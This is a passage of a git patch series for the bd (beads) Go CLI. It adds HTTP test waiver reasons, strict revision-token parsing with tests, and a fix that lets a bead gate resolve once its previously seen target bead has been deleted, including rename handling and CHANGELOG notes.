CycleDetector, Querier, StatsReporter, WorkspaceConfig, " + - "Memories, Journal minus watch) plus MetadataCAS and DependencyEditor in full; the HTTP leg's own " + - "CycleDetector.IncludeTracks gap, the nine Bootstrapper cases " + - "(internal/httpclient/accessors.go names Bootstrapper PERMANENTLY UNSERVABLE — no wire operation " + - "and none coming — see bootstrapperPermanentlyUnservableWaiverReason), the four Importer cases " + - "(uow is Importer's one accessor, same as the other two legs), and the twenty-two " + - "RetentionFixture/EpochFixture/CrossRecordInvariantFixture cases (raw storage bookkeeping with no " + - "publicops role behind them — see retentionEpochNoRoleWaiverReason and " + - "crossRecordInvariantNoRoleWaiverReason) are all named waivers, not part of this ceiling. What is " + - "still counted here is write-role and internal-plumbing work S4 and later slices wire and ratchet " + - "down one tranche at a time: lifecycle writes (IssueOperationsUpdate, LifecycleUpdate), " + - "DualWrite's Phase-2 history mechanism, Sweeper, VersionReconciler, InitVerifier, and " + - "ExpectedRevision/Refusal. VersionReconciler and InitVerifier are named PERMANENTLY UNSERVABLE by " + - "the same accessors.go comment that covers Bootstrapper, but moving them to a named waiver is out " + - "of scope for the change that lowered this ceiling to 42 and is left for their own reviewed change", - adoptionCeiling: 42, + name: "http", + wiringRoot: "internal/httpclient", + adoptionCeiling: 0, }) } diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index 398e6b19f..515ac2401 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -99,6 +99,27 @@ func init() { "RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, "RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, "RunStoreInvariantTransactionScopesExactlyTheSpanningRecords": crossRecordInvariantNoRoleWaiverReason, + + "RunVersionReconcilerAdvancesBothMarkersOnAnUpgrade": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerCatchesUpToTheHighWaterMark": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerLeavesTheMarkersStandingWhenItCannotComplete": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRecordsAWorkspaceWithNoMarkers": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRecordsNoHistory": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesADowngradeWithoutAnError": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesAVersionBelowTheHighWaterMark": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerRefusesAnEmptyVersion": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunVersionReconcilerTreatsTheSameVersionAsANoOp": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierAnswersEmptyForAnUnidentifiedSubstrate": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierReportsAFailedReadAsAnError": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierReportsAPartialIdentityAsItStands": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + "RunInitVerifierWritesNothing": versionReconcilerInitVerifierPermanentlyUnservableWaiverReason, + + "RunIssueOperationsUpdateClosedFieldsMatchClose": issueOperationsUpdateRawSeamWaiverReason, + "RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": issueOperationsUpdateRawSeamWaiverReason, + "RunIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": issueOperationsUpdateRawSeamWaiverReason, + + "RunLifecycleUpdateExpectedVersionSingleWinnerWithDisjointColumnsUnderConcurrency": issuePatchFieldsNotOnUpdateWireWaiverReason, + "RunLifecycleUpdateExpectedVersionSingleWinnerAcrossUpdateAndCloseUnderConcurrency": issuePatchFieldsNotOnUpdateWireWaiverReason, }) } @@ -230,6 +251,84 @@ const stagingWaiverReason = "the unit-of-work provider commits every unit of wor "caller-held working set to stage into and no Commit hook to close one; these two cases assert what a " + "create sweeps into a commit the caller opened" +// versionReconcilerInitVerifierPermanentlyUnservableWaiverReason covers the +// thirteen VersionReconciler and InitVerifier contracts: PERMANENTLY +// unservable over http, not merely unwired yet. +// +// internal/httpclient/accessors.go names VersionReconciler and InitVerifier, +// alongside Bootstrapper, as the three accessors still on the generated +// refusing shell for one reason: "PERMANENTLY UNSERVABLE — no wire operation +// and none coming." Both share Bootstrapper's own fate and (InitVerifier +// shares BootstrapperFixture outright) the same cause: `bd init`'s substrate +// identification and the schema-version reconciliation it drives both run +// entirely client-side, against the on-disk substrate a server-mediated +// caller never touches directly, before or instead of any server existing to +// dial. There is no v0 operation for an http accessor to bind to and none is +// coming. This waiver was left out of the change that added +// bootstrapperPermanentlyUnservableWaiverReason (that change's own comment +// says so) and is added by this one. +const versionReconcilerInitVerifierPermanentlyUnservableWaiverReason = "internal/httpclient/accessors.go names " + + "VersionReconciler and InitVerifier PERMANENTLY UNSERVABLE over http, the same fate as Bootstrapper — no " + + "wire operation and none coming — because both run entirely client-side against the on-disk substrate " + + "(schema-version reconciliation and `bd init`'s own identity read) before or instead of any server existing " + + "to dial" + +// issueOperationsUpdateRawSeamWaiverReason covers the three +// IssueOperationsStagingFixture cases whose SUBJECT is the untyped UpdateRaw +// funnel itself, not merely a fixture that seeds through it. +// +// storage.UpdateIssue is on this client's unsupported allowlist by design +// (D8: re-routing a raw front door would put a second spelling of the edit +// beside the role's), so served_issue_operations_test.go binds UpdateRaw only +// to the REFERENCE store's own untyped funnel (env.reference.UpdateIssue), +// never to the client — see that file's own doc comment. That binding is +// sound for every case actually wired there because none of them takes the +// funnel AS ITS SUBJECT; these three do (RunIssueOperationsUpdateClosedFieldsMatchClose +// drives a reopen/reclose through it, RunIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +// and RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes assert +// what it writes). Wiring them against the reference store's funnel would +// assert a property of the store the server happens to share a process with, +// never of the client under test — the same kind of empty assertion binding +// UpdateRaw to the client would be in the other direction. There is no +// client-side UpdateRaw to bind instead: that is D8's allowlist decision, not +// a gap. +const issueOperationsUpdateRawSeamWaiverReason = "these three cases take the untyped UpdateRaw funnel itself as " + + "their subject; storage.UpdateIssue is on this client's unsupported allowlist by design (D8), so there is no " + + "client-side UpdateRaw to bind, and binding the reference store's own funnel instead (as this leg's other " + + "IssueOperationsStagingFixture cases do, to SEED preconditions) would assert a property of the store the " + + "server happens to share a process with, never of the client under test" + +// issuePatchFieldsNotOnUpdateWireWaiverReason covers the two +// LifecycleUpdateFixture concurrency cases whose racers patch +// IssuePatch.SpecID, .AwaitID, and/or .Owner against updateIssue. +// +// THIS IS PENDING, NOT PERMANENT: it is unbuilt work waiting on a wire +// change, not a boundary this leg can never cross. S4 wired the other two +// ExpectedVersion concurrency races (the plain Update race over +// Priority/Notes, and the Close race) against the real served HTTP harness, +// and both pass: precondition_failed decodes to storage.ErrVersionMismatch +// exactly as the local legs report it. These two cases cannot follow +// because SOME of their racers patch fields updateIssue refuses outright +// rather than ever sending — not a race outcome, a refusal before any +// request leaves the client. internal/httpclient/encode/ledger.go already +// names this gap per field (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, +// W-IssuePatch.Owner, D8 refuse-not-drop): neither IssuePatchBody nor +// ApplyPatchBody publishes spec_id or await_id at all, and Owner is excluded +// from IssuePatchBody specifically (ApplyPatchBody — issues:batchApply's body +// — does carry it, which is a different operation from updateIssue). Closing +// this gap means publishing those fields on IssuePatchBody, a wire change to +// the write role itself, not a client-side wiring exercise — tracked as a +// follow-up slice, S4b: publish owner/spec_id/await_id on the wire. Until +// S4b lands, these two contracts stay off this leg rather than asserting a +// race outcome against a request three of its own racers never send. +const issuePatchFieldsNotOnUpdateWireWaiverReason = "PENDING, not permanent (tracked as S4b: publish " + + "owner/spec_id/await_id on the wire): two of the four ExpectedVersion concurrency contracts race " + + "IssuePatch.SpecID/.AwaitID/.Owner edits against updateIssue, and those three fields are refused outright by " + + "IssuePatchBody (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, W-IssuePatch.Owner in " + + "internal/httpclient/encode/ledger.go, D8 refuse-not-drop) rather than ever reaching the server, so the race " + + "never happens over this wire; closing the gap means publishing those fields on IssuePatchBody, which is a " + + "wire change to the write role (S4b), not something this leg's test wiring can bind around today" + // TestEveryLegWiresEveryRoleContract fails when a backend leg skips a role // contract the conformance package exports. // diff --git a/internal/types/types.go b/internal/types/types.go index 7992ed893..12f3777e0 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1360,11 +1360,29 @@ func RevisionToken(v int64) string { // ParseRevisionToken reads a wire revision token back to the internal int64. // -// It accepts exactly what RevisionToken emits. A caller must echo the token a -// response carried rather than compose one, so anything else is a client that -// invented a value, and reporting that as a parse failure is more useful than -// guessing at it. +// It accepts exactly what RevisionToken emits — the exact inverse of +// strconv.FormatInt — and nothing strconv.ParseInt alone would additionally +// tolerate: no leading "+" (FormatInt never emits one), no leading zero on +// any digit string longer than one character (FormatInt never pads "7" out +// to "007", positive or negative), and never "-0" (FormatInt(0, 10) is "0", +// never "-0"). A caller must echo the token a response carried rather than +// compose one, so anything else is a client that invented a value, and +// reporting that as a parse failure is more useful than guessing at it. func ParseRevisionToken(s string) (int64, error) { + if strings.HasPrefix(s, "+") { + return 0, fmt.Errorf("revision token %q: leading \"+\" is not a token RevisionToken ever emits", s) + } + digits := s + negative := strings.HasPrefix(s, "-") + if negative { + digits = s[1:] + } + if negative && digits == "0" { + return 0, fmt.Errorf("revision token %q: \"-0\" is not a token RevisionToken ever emits", s) + } + if len(digits) > 1 && digits[0] == '0' { + return 0, fmt.Errorf("revision token %q: a leading zero is not a token RevisionToken ever emits", s) + } return strconv.ParseInt(s, 10, 64) } diff --git a/internal/types/types_test.go b/internal/types/types_test.go index c36ee68bb..9f7bedc4c 100644 --- a/internal/types/types_test.go +++ b/internal/types/types_test.go @@ -1155,6 +1155,35 @@ func TestRevisionTokenSurvivesAJavaScriptRealisticParse(t *testing.T) { } } +// TestParseRevisionTokenRejectsMalformedTokens pins that the string<->int64 +// boundary is strict in both directions: ParseRevisionToken accepts exactly +// the decimal integer spelling RevisionToken emits (plain digits, an optional +// leading "-", no fractional part, no exponent, no surrounding whitespace, no +// value outside int64) and refuses everything else rather than guessing — +// the same "a token it cannot read is a server this client cannot follow" +// posture ParseRevisionToken's own doc comment describes, now pinned against +// the inputs a float-typed or lenient parser would have let through. +// +// "007" and "-0" pin the exact-inverse-of-FormatInt rule specifically: +// FormatInt never pads a digit string with a leading zero (so "007" is not a +// token any revision ever produced, even though strconv.ParseInt alone would +// accept it as 7), and FormatInt(0, 10) is always "0", never "-0". +func TestParseRevisionTokenRejectsMalformedTokens(t *testing.T) { + for _, token := range []string{ + "", "1.0", "1.5", "1e10", "1e0", "+1", " 1", "1 ", "0x1", "abc", + "9223372036854775808", // math.MaxInt64 + 1, one past the boundary + "-9223372036854775809", // math.MinInt64 - 1, one past the boundary + "NaN", "Infinity", "1", // fullwidth digit, not ASCII + "007", // leading zero FormatInt never pads in + "-007", // leading zero on the negative digit run + "-0", // FormatInt(0, 10) is "0", never "-0" + } { + if got, err := ParseRevisionToken(token); err == nil { + t.Errorf("ParseRevisionToken(%q) = %d, nil, want an error", token, got) + } + } +} + func TestReclaimedLeaseJSONSerialization(t *testing.T) { b, err := json.Marshal(ReclaimedLease{ID: "bd-1", PreviousOwner: "worker-a"}) if err != nil { From a6fcf915c05a92d2b38d9bdf9b43585322ca9dd5 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 17:10:33 +0000 Subject: [PATCH 066/213] fix(gate): resolve a bead gate whose awaited bead no longer exists (#6395) * fix(gate): resolve a bead gate whose awaited bead no longer exists (wy-dgfuiu) A gate with await_type=bead whose awaited bead has been purged could never resolve: GetIssue returns storage.ErrNotFound (or a wrapped sql.ErrNoRows) against real storage, checkBeadGate returned (false, "bead gate %q: %v"), the bead arm of evaluateGates never sets r.err, and applyGateCheckResults fell to the "pending" arm with exit 0. The gate stayed pending forever. Treat a missing bead as resolution, reusing the existing gateProxiedNotFound predicate so a genuine backend or transport failure still stays pending. close.go shares checkBeadGate and inherits the fix. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01MjQHZQoR8qZTaNj2QTZokr * fix(gate): resolve a deleted bead gate target only after a local sighting Review fixes for #6395 (adopt-pr iterations 1 to 5). The PR resolves a bead gate when its awaited bead no longer exists, but the lookups it relies on turned a routing failure into not-found: the direct getter (getIssueWithRouting) and the proxied getter both returned the local miss when a prefix-routed rig could not be read, so an OPEN bead in an unreachable rig resolved its gate and unblocked the step. An await_id that never named a real bead (a typo, a short ID) also resolved on the first check. - A miss outside this rig's own store is errBeadGateTargetUnconfirmed: a matched routes.jsonl route whose rig fails or does not return the bead, an unreadable routes.jsonl, or the contributor auto-routed store. The gate stays pending and the reason names the cause. inspectBeadGate tests it before not-found, because the wrapped routing error can itself be a not-found. Only this rig's own absence counts as gone. - bd gate check resolves a gone target only if an earlier check saw it in this rig. The first local sighting stamps await_seen= in the gate's metadata (an OpSetMetadata merge, so other keys survive, and retargeting the gate invalidates it). A target that is gone and was never seen stays pending with "no earlier gate check saw it; check the await_id, or close the gate with bd gate resolve". A bead read through a route is never stamped, so a misdirected route cannot arm a later local miss. A failed stamp write is an error row, like a failed gh:run await_id persist. - The proxied getter reads the target with workapi.GetIssueOrWisp (the issue use case alone never returns a wisp), stamps inside the apply transaction, and never auto-routes. - bd close applies the same rule (evaluateBeadGate, recording no sighting): a gone bead satisfies the gate only if an earlier check saw it, so closing a gate on a typo'd await_id still needs --force. - bd close reads the awaited bead from the store that owns the gate (RoutedResult.Store), as bd gate check in that rig would. Read from the launcher's store, a routed gate whose awaited bead only its own rig can reach (no route for it from the launcher) saw that open bead as missing and, its sighting recorded, closed without --force. The proxied-server route keeps the fresh-read getter (#5861). - bd rename and bd rename-prefix (both the rename loop and --repair) point a bead gate at its bead's new ID, keeping a : prefix and carrying the sighting. UpdateIssueID rewrites text references but never await_id, so a seen bead's rename read as a deletion and resolved the gate on its next check. - UpdateIssueID also commits on its own, so a retarget written after it left a window, or after a failure a lasting state, where the gate held a sighting of an ID that no longer existed and resolved while its bead was open under the new ID. All three paths now rename through renameIssueKeepingBeadGates, which orders the writes so no state in between resolves a gate: it moves await_id to the new ID while the sighting still names the old one (dropping, in the same write, a sighting that already names the new ID), renames the bead, and then records the sighting under the new ID. A check in between finds a never-seen ID and stays pending. If moving a gate or renaming the bead fails, the gates are pointed back at the old ID without a sighting, since a failed write may still have landed, and the rename fails: bd rename exits non-zero instead of warning from its text-reference loop. Losing only the final sighting write is a warning; the next check records the sighting again. - A check lists the gate before it looks the bead up, so a rename landing in between left it holding a copy that still waited on the old ID with its sighting: the old ID was gone, and the check closed the gate while the bead was open under its new ID. Once the bead is found gone, evaluateBeadGate reads the gate back from its own store (rereadBeadGate) and resolves only if the stored gate still waits on the same await_id and still records the sighting. The rename moves the gate before the bead takes the new ID, so a read made after the miss sees the move. This covers bd gate check, its proxied route and bd close; a gate that cannot be read back, or is found only through a route, stays pending. - checkBeadGate, the target lookup without the sighting rule, had no production caller left and read like the bead-gate rule, which is how bd close came to skip the sighting. It moves into the tests; inspectBeadGate carries the lookup contract and points callers at evaluateBeadGate. - The gate check help, docs/workflows/gates.md and the CHANGELOG describe the rule, including that a rename does not read as a deletion to a check or bd close that read the gate before it, and that a rename that fails partway leaves the gate pending without a sighting; the #6404 entry no longer says a routed read failure reads as not-found. The CHANGELOG also warns that a rename by an older bd does not move the gate, so once a check has seen the bead, the next check or bd close after that rename closes the gate while the bead is still open: upgrade the clients that rename beads together with the ones that check gates. docs/cli-reference is pinned to v1.2.2, so it is unchanged (generate-cli-docs.sh --check passes). Tests: TestCheckBeadGate_UnconfirmedMissStaysPending, TestEvaluateGates_BeadGateSightingRule, TestEvaluateBeadGate_*, TestBeadGateSeenUpdate_KeepsOtherMetadata, TestBeadGateTargetSeen, TestProxiedFreshReadGetter_LocalMissFollowsRoutes, TestRoutedBeadGateGetter_ReportsWhereTheAnswerCameFrom, TestCheckGateSatisfaction_BeadGateNeedsASighting, TestCloseDirectPreflight_BeadGateReadsTheGatesOwnStore, TestCloseBeadGateGetter_RouteSelection, TestBeadGateRetargetUpdate, TestPlanBeadGateMoves, TestRenameIssueKeepingBeadGates and TestRenameIssueKeepingBeadGates_FailedWritesResolveNoGate, which fails each write of a rename in turn, landed or not, and evaluates every gate after each write, both as stored and as a concurrent check listed it before the rename (unit); the unreadable-rig step of TestCheckBeadGateCrossRigPrefixRoute, TestRepairPrefixesRetargetsBeadGates (gates renamed before and after their bead) and TestRenameFailureLeavesBeadGatesPending (bd rename, --repair and rename-prefix with a failing UpdateIssueID, landed or not) (cgo); TestEmbeddedGateCreate/check_bead_gate_resolves_only_a_missing_target_it_saw and /rename_keeps_a_bead_gate_on_its_target (embedded); TestProxiedServerGateCheck/bead_gate_resolves_when_seen_target_is_deleted and /bead_gate_never_seen_target_stays_pending (proxied). Reordering the unconfirmed case after not-found, dropping the sighting condition, swallowing the routed error, stamping routed sightings, or matching any stamp regardless of await_id each fails these tests, as do closing with the sighting-blind lookup, reading the launcher's store on close, dropping the carried sighting or the rig prefix on a retarget, dropping the retarget from bd rename, the rename-prefix loop or --repair, renaming the bead before moving its gates, keeping the sighting when moving a gate back, keeping a stale sighting of the new ID, skipping the final sighting write, resolving a gone bead without reading the gate back or from a gate read back that moved, lost its sighting or was found only through a route, or reporting an unconfirmed read-back as an error or an unreadable gate as pending. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 32 +- cmd/bd/close.go | 23 +- cmd/bd/close_direct.go | 8 +- cmd/bd/close_gate_test.go | 119 ++- cmd/bd/close_proxied_server.go | 2 +- cmd/bd/gate.go | 350 ++++++-- cmd/bd/gate_check_proxied_integration_test.go | 58 ++ cmd/bd/gate_embedded_test.go | 132 +++ cmd/bd/gate_proxied_server.go | 67 +- cmd/bd/gate_routing_test.go | 18 +- cmd/bd/gate_test.go | 769 +++++++++++++++++- cmd/bd/rename.go | 122 ++- cmd/bd/rename_prefix.go | 8 +- cmd/bd/rename_prefix_repair_test.go | 176 ++++ docs/workflows/gates.md | 13 +- 15 files changed, 1784 insertions(+), 113 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4c6167e6d..09d65701d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1491,9 +1491,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 override) rather than letting a dead store read as satisfied. On the classic and proxied routes alike, `bd gate check` now exits non-zero whenever any gate it checks (gh, timer, or bead) could not be checked or - closed. A missing bead still stays pending, and for now so does a bead in - a prefix-routed rig whose store cannot be read: routing still reports that - failure as not-found. + closed. A bead in a prefix-routed rig whose store cannot be read stays + pending, with the routing failure in its reason (`cannot confirm the + awaited bead is gone`); for a missing bead, see + [#6395](https://github.com/gastownhall/beads/pull/6395). + +- **`bd gate check` resolves a bead gate whose awaited bead was deleted** + ([#6395](https://github.com/gastownhall/beads/pull/6395)). A bead gate + waited for its target to close, so deleting the target left the gate + pending forever and its step blocked. The first `bd gate check` that finds + the target in this rig's own store now records the sighting in the gate's + metadata (`await_seen`), and a later check that no longer finds it there + resolves the gate (`awaited bead no longer exists`). An await ID that + no check has seen, such as a typo or a bead deleted before the first check, + stays pending with a diagnostic instead of unblocking the step: correct the + await ID or close the gate with `bd gate resolve`. A miss outside this + rig's store (a target whose prefix routes to another rig, or a contributor + auto-routed store) does not prove the bead gone, so the gate stays pending + and the reason names the cause. `bd close` on a bead gate follows the same + rule: it no longer needs `--force` once an earlier check saw the awaited + bead and the bead is gone from the gate's rig, with no route pointing + elsewhere. `bd rename` and `bd rename-prefix` point a bead gate at its + bead's new ID, sighting included, so a renamed bead does not read as + deleted, even to a check or `bd close` that read the gate before the + rename; a rename that fails partway leaves the gate pending without a + sighting, never resolved. A rename by an older bd does not move the + gate: if a check had already seen the bead, a later check or `bd close` + treats that rename as a deletion and closes the gate while the bead is + still open, so upgrade every client that renames beads together with the + ones that check gates. - **An epic that blocks on its own children no longer hides them from `bd ready`** ([#6506](https://github.com/gastownhall/beads/issues/6506)). A diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 9e4f14ab0..b99abe219 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -676,8 +676,10 @@ func isMachineCheckableGate(issue *types.Issue) bool { } // checkGateSatisfaction checks whether a gate issue's condition is satisfied. +// gateStore is the store that owns the gate (nil on the proxied-server route); +// see closeBeadGateGetter. // Returns nil if the gate is satisfied (or not a machine-checkable gate), or an error describing why it cannot be closed. -func checkGateSatisfaction(issue *types.Issue) error { +func checkGateSatisfaction(issue *types.Issue, gateStore storage.DoltStorage) error { if !isMachineCheckableGate(issue) { return nil } @@ -695,7 +697,9 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason, err = checkBeadGate(rootCtx, closeBeadGateGetter(), issue.AwaitID) + // bd gate check's rule, without recording a sighting: a missing + // bead no check ever saw does not satisfy the gate. + resolved, reason, err = evaluateBeadGate(rootCtx, issue, closeBeadGateGetter(gateStore), nil) if err != nil { // Unlike the gh:* and timer arms above, a bead gate whose store // cannot be read stays closed: the close would need that same @@ -726,17 +730,16 @@ func checkGateSatisfaction(issue *types.Issue) error { } // closeBeadGateGetter picks the bead-gate lookup the current route can serve. -// The proxied-server route never opens the local store (the root pre-run -// short-circuits to uowProvider), so a store-backed getter there refused every -// bead gate with "no local store available" even when the awaited bead was -// closed (#5861); that route now reads through the same fresh-read getter -// `bd gate check` uses. The direct and embedded routes keep the store-backed -// local -> prefix-route lookup. -func closeBeadGateGetter() issueGetter { +// The direct and embedded routes look the awaited bead up from gateStore, the +// store that owns the gate, as bd gate check in that rig would: for a gate +// reached through a route, the launcher's store can report an open bead as +// missing. The proxied-server route never opens a local store, so it reads +// through the same fresh-read getter bd gate check uses there (#5861). +func closeBeadGateGetter(gateStore storage.DoltStorage) issueGetter { if usesProxiedServer() { return proxiedFreshReadGetter{} } - return routedBeadGateGetter{localStore: store} + return routedBeadGateGetter{localStore: gateStore} } // autoCloseCompletedMolecule checks if closing a step completed an auto-closing diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index 635212500..d7ac30cb1 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -50,7 +50,7 @@ type closeDirectPlan struct { func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string, force bool) closeDirectPlan { plan := closeDirectPlan{refusals: make([]string, len(resolvedIDs))} for i, id := range resolvedIDs { - if refusal := closeDirectCheckOne(id, results[i].Issue, force); refusal != "" { + if refusal := closeDirectCheckOne(id, results[i].Issue, results[i].Store, force); refusal != "" { plan.refusals[i] = refusal continue } @@ -65,8 +65,8 @@ func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string } // closeDirectCheckOne returns one argument's refusal, or "" when it may go to -// the batch. -func closeDirectCheckOne(id string, issue *types.Issue, force bool) string { +// the batch. st is the store that owns the issue. +func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, force bool) string { // Close validation guards a state change; a row already at literal // StatusClosed has none to guard, so skip it and let the re-close reach the // engine as the idempotent no-op it has always been (ga-ktn9pe.4.8). @@ -88,7 +88,7 @@ func closeDirectCheckOne(id string, issue *types.Issue, force bool) string { // Gate satisfaction for machine-checkable gates (GH#1467). if !force { - if err := checkGateSatisfaction(issue); err != nil { + if err := checkGateSatisfaction(issue, st); err != nil { return fmt.Sprintf("cannot close %s: %s", id, err) } } diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index 0cfc91900..f935de4d3 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -2,6 +2,7 @@ package main import ( "context" + "encoding/json" "errors" "strings" "testing" @@ -124,7 +125,7 @@ func TestCheckGateSatisfaction_NonGateIssues(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := checkGateSatisfaction(tt.issue) + err := checkGateSatisfaction(tt.issue, nil) if err != nil { t.Errorf("checkGateSatisfaction() returned error for non-machine-checkable issue: %v", err) } @@ -141,7 +142,7 @@ func TestCheckGateSatisfaction_GHPRWithoutAwaitID(t *testing.T) { Title: "PR gate without ID", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for gh:pr gate without await_id") } @@ -159,7 +160,7 @@ func TestCheckGateSatisfaction_GHRunWithoutAwaitID(t *testing.T) { Title: "Run gate without ID", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for gh:run gate without await_id") } @@ -177,7 +178,7 @@ func TestCheckGateSatisfaction_BeadGateInvalidFormat(t *testing.T) { Title: "Bead gate with bad format", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for bead gate with invalid await_id format") } @@ -192,7 +193,7 @@ func TestCheckGateSatisfaction_ErrorMessageFormat(t *testing.T) { Title: "Test gate", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Fatal("expected error") } @@ -221,9 +222,6 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { // A bead gate whose store read fails (anything but not-found) must refuse // the close with the read error, not fall through to the fail-open // warning the gh:* and timer arms use. - saveAndRestoreGlobals(t) - store = &unreadableGateStore{err: errors.New("dolt exploded")} - issue := &types.Issue{ IssueType: "gate", AwaitType: "bead", @@ -231,7 +229,7 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { Title: "Bead gate on an unreadable store", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, &unreadableGateStore{err: errors.New("dolt exploded")}) if err == nil { t.Fatal("checkGateSatisfaction() let a bead gate close although its store could not be read") } @@ -242,20 +240,113 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { } } +func TestCheckGateSatisfaction_BeadGateNeedsASighting(t *testing.T) { + // The close pre-check applies bd gate check's rule: an awaited bead the + // gate's store does not have satisfies the gate only if an earlier check + // saw it there, so a gate on a typo'd await_id cannot be closed past. Nor + // can a gate that a rename moved on after bd close read it. + withBeadGateTown(t) + gateStore := &beadGateLocalStore{issues: map[string]*types.Issue{}} + + for _, awaitID := range []string{"bd-typo123", "other:ot-typo123"} { + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: awaitID} + gateStore.issues[gate.ID] = gate + err := checkGateSatisfaction(gate, gateStore) + if err == nil { + t.Fatalf("%s: checkGateSatisfaction() let a gate close on a bead no check ever saw", awaitID) + } + for _, want := range []string{"no earlier gate check saw it", "--force"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("%s: error should mention %q, got: %v", awaitID, want, err) + } + } + + gate.Metadata = json.RawMessage(`{"await_seen":"` + awaitID + `"}`) + if err := checkGateSatisfaction(gate, gateStore); err != nil { + t.Errorf("%s: a seen bead that is gone should satisfy the gate, got: %v", awaitID, err) + } + + moved := *gate + moved.AwaitID = awaitID + "-renamed" + gateStore.issues[gate.ID] = &moved + err = checkGateSatisfaction(gate, gateStore) + if err == nil || !strings.Contains(err.Error(), "the gate changed") { + t.Errorf("%s: a gate moved on since it was read should not be closed past, got: %v", awaitID, err) + } + } +} + +func TestCloseDirectPreflight_BeadGateReadsTheGatesOwnStore(t *testing.T) { + // A gate reached through a route is checked against the store that owns + // it, as bd gate check in its rig would. The launcher's store does not + // have the awaited bead: checking there would read the open bead as + // deleted and, the gate's sighting being recorded, let the close through. + saveAndRestoreGlobals(t) + withBeadGateTown(t) + store = &beadGateLocalStore{issues: map[string]*types.Issue{}} + + for _, tt := range []struct { + name string + target types.Status + wantRefusal string + }{ + {name: "awaited bead open in the gate's rig", target: types.StatusOpen, wantRefusal: "bead rg-target is open"}, + {name: "awaited bead closed in the gate's rig", target: types.StatusClosed}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{ + ID: "rg-gate", + Status: types.StatusOpen, + IssueType: "gate", + AwaitType: "bead", + AwaitID: "rg-target", + Metadata: json.RawMessage(`{"await_seen":"rg-target"}`), + } + gateStore := &beadGateLocalStore{issues: map[string]*types.Issue{ + "rg-target": {ID: "rg-target", Status: tt.target}, + }} + results := []*RoutedResult{{Issue: gate, Store: gateStore, Routed: true, ResolvedID: gate.ID}} + + plan := closeDirectPreflight(results, []string{gate.ID}, []string{"done"}, false) + if tt.wantRefusal == "" { + if plan.refusals[0] != "" || len(plan.items) != 1 { + t.Fatalf("close refused (%q), want it to go to the batch", plan.refusals[0]) + } + if plan.items[0].store != gateStore { + t.Error("the close does not go to the gate's own store") + } + return + } + if len(plan.items) != 0 { + t.Fatalf("the gate went to the batch, want a refusal mentioning %q", tt.wantRefusal) + } + if !strings.Contains(plan.refusals[0], tt.wantRefusal) { + t.Errorf("refusal %q does not mention %q", plan.refusals[0], tt.wantRefusal) + } + }) + } +} + // The close pre-check reads a bead gate's target through the route that can // serve it: the 